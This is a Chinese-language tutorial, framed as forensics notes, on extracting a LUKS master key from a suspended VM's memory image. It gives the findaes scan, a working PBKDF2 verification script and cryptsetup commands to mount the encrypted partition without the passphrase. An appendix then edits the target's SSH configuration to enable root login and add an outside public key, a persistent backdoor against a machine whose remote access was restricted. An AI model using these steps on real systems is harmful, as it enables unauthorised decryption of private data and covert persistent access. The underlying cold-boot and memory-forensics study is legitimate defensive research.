LUKS 全盘解密实战笔记:内存提取主密钥 + 离线挂载
免责声明:本文仅供学习计算机取证与安全防御技术,请勿用于非法用途。理解 LUKS 的弱点,才能更好地设计防御措施(如使用 TPM、避免内存长时间存留密钥、及时关闭不用的加密分区等)。
背景:为什么需要这条路径?
- 目标机器已启用全盘加密:在分区未解锁前,无法直接读取任何文件内容。
- 同时 SSH 登录受限(端口/用户/认证方式均受控):即使网络可达,也无法通过远程登录拿到文件。
因此,本方案选择从「内核内存中残留的主密钥」入手:只要系统曾经解锁过加密盘,主密钥就有机会以明文形式驻留在内核内存中,进而实现离线解密与取证分析。
0. 原理简述
LUKS(Linux Unified Key Setup)是基于 dm-crypt 的磁盘加密规范。加密数据的真正密钥是 主密钥(Master Key / Volume Key),它由随机数生成,以加密形式存储在 LUKS Header 的密钥槽(Keyslot)中——用户密码并不直接参与数据加解密,它只是用来解开 Keyslot 中封装的 Master Key。
关键弱点:当 LUKS 分区被 cryptsetup open 解锁后,Master Key 会被注册进 Linux 内核 Keyring(dm-crypt 通过内核 key retention 机制管理),以明文形态驻留在内核地址空间,直到分区被 cryptsetup close 或系统重启。因此,只要能获取目标系统的完整物理内存镜像(例如通过虚拟机挂起文件、冷启动攻击等),就可以从中提取出 Master Key,离线解密整个分区——无需知道用户密码。
注:通过 /dev/mem 读取内存的方式在现代 Linux(内核 3.x 起)已受 CONFIG_STRICT_DEVMEM 和 CONFIG_IO_STRICT_DEVMEM 限制,普通用户无法直接读取任意物理内存地址。本文采用虚拟机挂起(.vmem)的方式绕开此限制。
三个角色 + 一个验证点
| 角色 |
说明 |
| Passphrase |
用户输入的口令或 Keyfile,用于「打开某个 Keyslot」,不直接参与数据区加解密 |
| KEK(Key Encryption Key) |
由 Passphrase 经 Keyslot 的 KDF(PBKDF2/Argon2id)派生,用来解密 Keyslot Payload,还原 Master Key |
| Master Key(Volume Key) |
真正交给 dm-crypt 负责数据区加解密的密钥;系统解锁后以明文注册进内核 Keyring,这是内存提取的根本原因 |
| Digest(验证点) |
LUKS Header 中存储的「Master Key 经 KDF 运算后的指纹」,用于从大量候选 AES Key 中精确筛选出正确的 Master Key |
LUKS Header 可以粗略分成三块:口令解锁参数、Master Key 校验指纹、数据区解密参数。下面按本文路线(内存提取 MK → 离线验证 → 挂载)挑最关键的说。
A) 与 Master Key 强绑定(验证候选 Key 是否为真正的 MK)
对应 Digests 段,也是本文脚本使用的核心字段:
Hash / Iterations / Salt / Digest
可以把它理解为 Master Key 的「派生指纹」,不是简单的 hash(MK),而是以 MK 为输入的 PBKDF2 运算结果:
# 所有参数均从 Digests 段读取,无任何硬编码
dklen = len(mk_digest) # 由 Header 中存储的 Digest 字节数决定
mk_digest == PBKDF2-HMAC-{HASH_SPEC}(password=master_key, salt=mk_salt, iterations=mk_iterations, dklen=dklen)
其中各参数来源:
| 参数 |
来源字段 |
说明 |
HASH_SPEC |
Digests.Hash |
可以是 sha1、sha256、sha512 等,由 Header 决定,不固定 |
mk_salt |
Digests.Salt |
验证专用 salt,与 Keyslot 的 salt 无关 |
mk_iterations |
Digests.Iterations |
验证专用迭代次数 |
dklen |
len(Digests.Digest) |
读取存储的 Digest 字节数,不假设固定值 |
只有真正的 Master Key 代入计算后才能与 Header 中存储的 Digest 完全吻合。
B) 与 Passphrase 强绑定(决定能否「用口令还原 MK」)
对应 Keyslots 下每个 Slot 的 KDF 参数 + 封装参数:
PBKDF: pbkdf2 / argon2id(及对应的 salt、iterations / memory、time、threads 等参数)
Cipher / Cipher key:加密 Keyslot Payload 使用的算法(注意:这里不是数据区的 cipher)
AF stripes / AF hash:AFIS(Anti-Forensic Information Splitter)条带化参数
Area offset / length:Keyslot Payload 在磁盘上的位置与长度
AF Stripes 的真实用途(常见误解纠正):AFIS 并非为了让数据「看起来噪声化」。它的真实目的是保证密钥槽可被安全擦除:Master Key 材料被拆分成 N 条(默认 4000)条带分散存储,重建时需要全部条带参与运算。只要任意一条被覆写,整个 Master Key 便永久不可恢复。这使得「吊销一个密钥槽」的操作在物理层面真正不可逆,是 LUKS 密钥安全删除(Secure Key Erasure)机制的核心。
关系链(概念上):
passphrase → KDF(salt, iterations) → KEK → 解密 Keyslot Payload → AFIS 复原 → master_key
本文路线是「绕过 Keyslot,直接从内核内存拿 MK」,所以 Keyslot 的细节不展开,但理解这条链有助于知道 Passphrase 在 LUKS 里扮演的角色。
C) 与数据区解密强绑定(有 MK 还不够,还要知道怎么用)
对应 Data segments 段:
cipher(如 aes-xts-plain64 / aes-cbc-essiv:sha256)
sector(扇区大小)
offset / length(密文数据区在磁盘上的位置/长度)
关系:
master_key + cipher + mode + iv-generator + sector_size → 对 data segment 正确解密
拿到 MK 只是「有了钥匙」,而 Data segments 决定「锁芯规格」(算法/模式/IV生成方式/扇区大小)。任何参数不匹配都会导致解密乱码。
D) 弱相关/辅助定位字段
UUID / Label / Subsystem / Flags / Epoch:标识与元数据版本管理,不参与 MK 推导,但对定位同一容器、判断元数据是否被篡改有价值。
Tokens(如 systemd-fido2、TPM2 绑定等):启用硬件解锁/自动解锁时,Token 提供获取解锁材料的第三条路径(本质上仍是某种方式最终拿到 KEK 或 MK)。
字段总结
| 目标 |
对应字段 |
| 验证候选 MK |
Digests(MK → PBKDF2 → Digest) |
| 从口令还原 MK |
Keyslots(Passphrase → KDF → KEK → 解包 + AFIS → MK) |
| 用 MK 解密数据 |
Data segments(MK + cipher / mode / IV / offset / sector) |
1. 环境准备
本文操作需要两台虚拟机 配合:
| 角色 |
说明 |
| VM1(目标机) |
将加密硬盘作为物理启动盘,让系统自行解锁并引导,挂起后获取 .vmem 内存镜像文件 |
| VM2(分析机) |
普通 Linux 系统,以只读方式附加同一块加密硬盘,读取 LUKS Header 元数据,运行 Python 脚本验证候选密钥,最终挂载解密分区 |
所需工具:
- VMware Workstation(或其他支持挂起并生成
.vmem 的虚拟化软件)
- 目标加密硬盘(通过 USB/Type-C 转接连接到宿主机,透传给 VMware)
findaes(GitHub Release 下载 或自行编译)—— 运行在宿主机 Windows 上,扫描 .vmem 文件
cryptsetup(安装在 VM2 分析机 Linux 中)
- Python 3(安装在 VM2 分析机中,用于离线验证候选密钥)
2. VM1:获取目标内存镜像(.vmem 文件)
2.1 准备并启动 VM1
- 新建一个空虚拟机(无需安装系统),将目标加密硬盘配置为唯一的物理启动盘,并启用 UEFI 引导。
- 启动 VM1。系统会从加密硬盘引导,自行完成 LUKS 解密并进入系统——此时 Master Key 已明文注册进内核 Keyring,驻留在物理内存中。
- 确认系统已完全进入桌面或 Shell(确保 LUKS 分区已完成解锁),然后在 VMware 菜单中执行 挂起(Suspend) 操作。
挂起完成后,VMware 将整个虚拟机内存(包含内核地址空间)转储到 .vmem 文件,通常位于 VM1 的目录下,例如 vm1-fbbf6382.vmem。
2.2 使用 findaes 扫描内存文件
在宿主机 Windows 上执行:
D:\\Download\\findaes-1.2\\findaes.exe vm1-fbbf6382.vmem
输出示例:
Searching vm1-fbbf6382.vmem
Found AES-256 key schedule at offset 0x4fd4970:
91 cd 40 07 18 fa 2f 0c 4c 63 e1 d6 d0 93 17 58 aa 98 75 47 b9 3f 11 32 6b 33 15 e1 98 66 04 c5
Found AES-256 key schedule at offset 0x6adaa30:
4a 3e e5 15 8f ec a1 1c fe b0 ae a1 1f 8d ce 32 30 5f a0 1d ba 83 0f 4d 10 52 d8 e5 f4 36 62 2b
Found AES-256 key schedule at offset 0x7eeac10:
...
findaes 工作原理:AES 在运行时会将原始密钥扩展成一张「轮密钥表(Key Schedule)」(AES-256 展开后约 240 字节),用于每轮加密运算。findaes 通过识别内存中符合 AES Key Schedule 数学结构的特征模式来定位它,然后从展开表中反推还原出原始的 32 字节密钥并输出。因此每行输出的是还原后的 32 字节原始候选密钥,而非 Key Schedule 本身。
候选密钥中可能包含大量误报(来自其他加密任务),需通过下一步的 PBKDF2 验证精确筛选。将所有输出的十六进制行复制保存备用。
在分析机 VM2(普通 Linux 系统)中,将同一块加密硬盘以只读方式附加(本例通过 M.2 转 USB 连接到 VMware 虚拟机)。
此步骤只需读取 LUKS Header 元数据,不需要解密分区内容,无需输入密码。
# 确认 LUKS 分区
blkid | grep crypto_LUKS
lsblk -f
输出示例:
[root@~]# blkid | grep crypto_LUKS
/dev/sdc2: UUID="3ad80234-82e6-4ce7-9a7c-cd346e2c6b36" TYPE="crypto_LUKS"
/dev/sdc3: UUID="9c16e072-21a3-405e-9845-0516ab517893" TYPE="crypto_LUKS"
读取目标分区(本例为 /dev/sdc2)的完整 Header 信息:
cryptsetup luksDump /dev/sdc2
输出示例:
LUKS header information
Version: 2
Epoch: 4
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 3ad80234-82e6-4ce7-9a7c-cd346e2c6b36
Label: (no label)
Subsystem: (no subsystem)
Flags: (no flags)
Data segments:
0: crypt
offset: 16777216 [bytes]
length: (whole device)
cipher: aes-cbc-essiv:sha256
sector: 512 [bytes]
Keyslots:
0: luks2
Key: 256 bits
Priority: normal
Cipher: aes-cbc-essiv:sha256
Cipher key: 256 bits
PBKDF: pbkdf2
Hash: sha256
Iterations: 8858086
Salt: a5 45 c7 a8 3a 2d 8d 95 fc bd da b0 c0 a4 ad a4
2c 62 f3 d7 d0 d8 1d a8 9d ed 5c 51 eb f9 7b 0f
AF stripes: 4000
AF hash: sha256
Area offset:32768 [bytes]
Area length:131072 [bytes]
Digest ID: 0
Tokens:
Digests:
0: pbkdf2
Hash: sha256
Iterations: 551301
Salt: 56 d0 61 f5 bc fd 43 4f 2e c9 06 41 ab 20 10 f1
bd 23 5e 1b 04 a4 4f 02 9d 66 24 65 87 0a f8 71
Digest: 67 8e d2 4c ff d9 22 e8 73 73 86 6e 3a 6f 0b 57
30 eb 35 1c d6 36 db 17 4b 4c c1 b8 4d e2 3c 78
记录 Digests 段中的以下关键值,供验证脚本使用:
| 字段 |
本例值 |
Hash |
sha256 |
Iterations |
551301 |
Salt |
56d061f5bcfd434f2ec90641ab2010f1bd235e1b04a44f029d662465870af871 |
Digest |
678ed24cffd922e87373866e3a6f0b5730eb351cd636db174b4cc1b84de23c78 |
4. VM2:离线验证候选主密钥
验证原理:对每个候选密钥 K,依照 Digests 段中记录的参数计算:
dklen = len(mk_digest) # 从 Header 存储的 Digest 字节数读取,不硬编码
result = PBKDF2-HMAC-{HASH_SPEC}(password=K, salt=mk_salt, iterations=mk_iterations, dklen=dklen)
其中 HASH_SPEC 来自 Digests.Hash(本例为 sha256,但可以是任意算法),三个参数均从 Header 中读取,无硬编码假设。若 result == mk_digest,则 K 即为真正的 Master Key。
将 findaes 输出的候选密钥列表和上一步得到的 LUKS 元数据填入以下脚本,在 VM2 中运行:
#!/usr/bin/env python3
"""
基于 LUKS2 header 的离线主密钥验证(PBKDF2 方式)
Usage: python3 test_luks_key.py (不需要 root,纯离线计算)
"""
import hashlib
import binascii
import sys
# ── 从 cryptsetup luksDump /dev/sdc2 的 Digests 段直接填入 ──
HASH_SPEC = "sha256"
device = "/dev/sdc2"
ITERATIONS = 551301
MK_SALT = "56d061f5bcfd434f2ec90641ab2010f1bd235e1b04a44f029d662465870af871"
MK_DIGEST = "678ed24cffd922e87373866e3a6f0b5730eb351cd636db174b4cc1b84de23c78"
# ── 候选主密钥(从 findaes.exe 或取)──
KEY_HEX_LIST = [
'91cd400718fa2f0c4c63e1d6d0931758aa987547b93f11326b3315e1986604c5',
'4a3ee5158feca11cfeb0aea11f8dce32305fa01dba830f4d1052d8e5f436622b',
'd281ce0de42ce741779071f097a98e1ecf1a22b41054282d3150a9ee572e6712',
......
]
# ────────────────────────────────────────────────────────────
def clean(hex_str):
return "".join(hex_str.split())
def verify_key(key_hex):
key_bytes = bytes.fromhex(clean(key_hex))
salt_bytes = bytes.fromhex(clean(MK_SALT))
digest_bytes = bytes.fromhex(clean(MK_DIGEST))
dklen = len(digest_bytes) # sha256 → 32 字节
x = hashlib.pbkdf2_hmac(
HASH_SPEC,
key_bytes,
salt_bytes,
ITERATIONS,
dklen=dklen
)
return x == digest_bytes
def main():
print("=" * 60)
print(f" LUKS2 主密钥离线验证({device})")
print("=" * 60)
print(" Hash : {}".format(HASH_SPEC))
print(" Iterations: {}".format(ITERATIONS))
print(" Salt : {}".format(clean(MK_SALT)))
print(" Digest : {}".format(clean(MK_DIGEST)))
print(" 候选密钥 : {} 个".format(len(KEY_HEX_LIST)))
print()
found = None
for idx, key_hex in enumerate(KEY_HEX_LIST, start=1):
key_hex = key_hex.strip()
print("[{}/{}] 测试: {}".format(idx, len(KEY_HEX_LIST), key_hex))
if len(clean(key_hex)) != 64:
print(" [-] 长度错误(需 64 个字符),跳过")
continue
try:
ok = verify_key(key_hex)
except Exception as e:
print(" [!] 异常: {}".format(e))
continue
if ok:
found = key_hex
print(" ✅ PBKDF2 验证通过,主密钥正确!")
break
else:
print(" ❌ 不匹配")
print()
print("=" * 60)
if found:
print("✅ 有效主密钥:")
print(" {}".format(clean(found)))
print()
else:
print("❌ 所有候选密钥均不匹配。")
print("=" * 60)
if __name__ == "__main__":
main()
运行:
python3 verify_luks_mk.py
找到正确主密钥后,可直接执行的挂载命令。
5. VM2:使用 Master Key 直接挂载 LUKS 分区
在 VM2 中执行(以 /dev/sdc2 为例,将 <master_key_hex> 替换为实际找到的主密钥):
# 1. 将十六进制主密钥转换为二进制密钥文件
echo '<master_key_hex>' | xxd -r -p > /tmp/mk.bin
# 2. 通过主密钥打开 LUKS 分区(建立 device mapper 映射)
device="sdc2"
# cryptsetup < 2.4(旧版)
sudo cryptsetup --debug open --master-key-file /tmp/mk.bin "/dev/${device}" "${device}"
# cryptsetup >= 2.4(新版,--master-key-file 已废弃,改用 --volume-key-file)
# sudo cryptsetup --debug open --type luks2 --key-size 256 --volume-key-file /tmp/mk.bin "/dev/${device}" "${device}"
# 追加 --debug 参数输出详细日志,便于排错
# 3. 挂载解密后的设备
sudo mkdir -p "/mnt/${device}"
sudo mount "/dev/mapper/${device}" "/mnt/${device}"
# 4. 查看数据
ls -la "/mnt/${device}"
# 5. 操作完毕后卸载并关闭(释放 device mapper 映射)
sudo umount "/mnt/${device}"
sudo cryptsetup close "${device}"
# 6. 删除明文密钥文件
rm -f /tmp/mk.bin
成功后,device mapper 的映射关系如下:
[ 物理加密硬盘 ]
|
v
/dev/sdc2 ← 原始 LUKS 分区(密文)
|
| cryptsetup open --volume-key-file /tmp/mk.bin
v
/dev/mapper/sdc2 ← dm-crypt 解密后的虚拟块设备
|
| mount
v
/mnt/sdc2 ← 可正常读写的文件系统挂载点
解密后的设备出现在 /dev/mapper/ 下,名称由你在 cryptsetup open 命令中指定。至此加密盘内容可完全读取。
验证技巧:可用 dmsetup table --target crypt --showkey 查看当前所有 dm-crypt 映射及其使用的密钥,确认挂载是否正确。
附:解密后修改 SSH 配置实现免密登录
成功挂载目标系统的加密盘后,可直接修改其 SSH 配置文件以实现后续免密登录。
重要:以下所有路径均以挂载点为前缀(本例为 /mnt/sdc2)。若省略前缀,操作的将是分析机 VM2 自身的文件系统,而非目标盘。
1. 修改 SSH 监听端口
1. 查看 SSH 端口
2. 允许 root 登录
3. 开启公钥认证
4. 公钥添加
- 位置: /root/.ssh/authorized_keys
- 内容: ssh-rsa AAAA... marlkiller@voidm.com
5. 权限设置
chown -R root:root /root/.ssh && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && ls -la /root/.ssh/
6. 连接命令
ssh -v -i id_rsa -p 2022 root@192.168.1.1
6. 补充说明
findaes 可能输出大量假 Key(来自其他加密任务的 AES Key Schedule),PBKDF2 验证可精确筛出唯一正确的 Master Key。
- 如果目标系统使用 LUKS1,
cryptsetup luksDump 输出格式有所不同(MK-digest 位于 Header 固定偏移处,结构与 LUKS2 的 Digests 段不同),但提取和验证的核心原理相同。
- 本方法的前提:目标系统必须处于运行状态且 LUKS 分区已完成解锁。已关机或从未解锁的系统,内核 Keyring 中不存在明文 Master Key,无法通过此方式提取。
- VM1 挂起前务必确认系统已完全进入(而非停留在 LUKS 解密提示界面)。
- VM2 可以是任意 Linux 发行版(Live CD 亦可),只需能识别 LUKS 分区并已安装
cryptsetup 和 Python 3。
7. 参考链接